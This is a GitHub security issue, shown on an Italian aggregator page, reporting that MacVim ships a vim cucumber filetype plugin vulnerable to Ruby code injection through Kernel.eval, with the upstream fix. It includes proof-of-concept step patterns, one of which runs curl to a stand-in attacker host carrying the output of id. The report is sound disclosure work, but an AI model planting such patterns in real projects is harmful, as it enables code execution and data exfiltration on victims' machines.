macvim-dev / macvim-dev/macvim

[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

Aperta
#1,654 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Lingua principale
Vim Script
Stelle
7.9k
Fork
691
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Descrizione

[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

Summary

MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.

Vulnerability Details

  • GHSA: GHSA-4473-94jm-w5x9
  • Upstream fix: vim 9.2.0496 (commit a65a52d684bc58535ad28a4ae824d22e76399934)
  • Affected code: runtime/ftplugin/cucumber.vims:stepmatch() function
  • Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)

Root Cause

In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:

" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
  ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:

/) + system('touch /tmp/pwned') + (/

then Kernel.eval('/'+pattern+'/') becomes:

Kernel.eval('//) + system('touch /tmp/pwned') + (//') 

The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.

The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.

Attack Scenario
  1. An attacker places a malicious .rb step-definitions file in the project's
    features/step_definitions/ directory with a crafted step pattern:
    Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do
    end
    
  2. The victim opens a .feature file in MacVim (which has +ruby) and uses the
    [d or ]d step-jump mappings that call s:steps()s:stepmatch().
  3. Kernel.eval executes the injected Ruby expression, running system() with
    arbitrary shell commands.

Affected MacVim Code

" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Affected MacVim Version

MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.

The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.

Suggested Fix

Merge or cherry-pick vim/vim patches up to at least 9.2.0496.

The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:

# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.

References

Guida per i contributori

Apri la guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Direzione di ricerca

Inizia esaminando runtime/ftplugin/cucumber.vim e confrontando la sua implementazione di s:stepmatch() con il commit upstream di Vim a65a52d684bc58535ad28a4ae824d22e76399934. Aggiorna il runtime incluso per incorporare la correzione di 9.2.0496, quindi verifica che il percorso vulnerabile di Kernel.eval() sia stato sostituito e che la versione del runtime interessata sia aggiornata.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Valutazione

Stack tecnologico
ruby, vim
Ambito
desktop-dev, security
Tipo di issue
Bug
Difficoltà
3/5
Tempo stimato
1-2 giorni
Stato di attività
Tranquilla
Chiarezza
Specificata chiaramente
Idoneità per principianti
68/100

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.